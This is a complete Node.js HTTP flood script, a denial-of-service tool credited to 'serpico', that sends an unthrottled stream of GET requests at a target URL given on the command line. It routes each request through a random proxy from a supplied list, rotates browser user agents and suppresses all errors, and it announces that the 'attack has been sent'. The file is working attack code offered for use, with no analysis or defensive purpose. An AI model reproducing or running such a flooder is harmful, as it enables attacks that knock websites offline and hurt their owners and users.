/////////////////////////////////////// //////// Made by serpico ///////////// ///////////////////////////////////// // //Usage : node http // // My Discord for help : Serpico#3082 process.on('uncaughtException', (err) => {}); process.on('unhandledRejection', (err) => {}); var vm = require('vm'); var requestModule = require('request'); var jar = requestModule.jar(); var fs = require('fs'); var proxies = fs.readFileSync(process.argv[4], 'utf-8').replace(/\r/g, '').split('\n'); var request = requestModule.defaults({jar: jar}); var DEFAULT_USER_AGENTS = [ // UserAgents (you can change them). "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3599.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.18247", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3599.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3599.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3599.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3599.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3599.0 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" ]; class Request { constructor() { } http(method, url, proxy) { requestModule({ method: method, url: url, headers: { // headers ... 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7,uk;q=0.6,la;q=0.5', 'cache-control': 'no-cache', 'pragma': 'no-cache', 'referer': url, 'upgrade-insecure-requests': 1, 'user-agent': DEFAULT_USER_AGENTS[Math.floor(Math.random() * DEFAULT_USER_AGENTS.length)] }, proxy: 'http://' + proxy }, function(err, response, body) { console.log(err, response.statusCode); // Remove this line if you dont want to see the output of your request. }); } } setTimeout(() => { process.exit(1); }, process.argv[3] * 1000); setInterval(() => { new Request().http('GET', process.argv[2], proxies[Math.floor(Math.random() * proxies.length)]); }); console.log("nodeJS HTTP Flood By Serpico | Attack has been sent to %s ", process.argv[2]);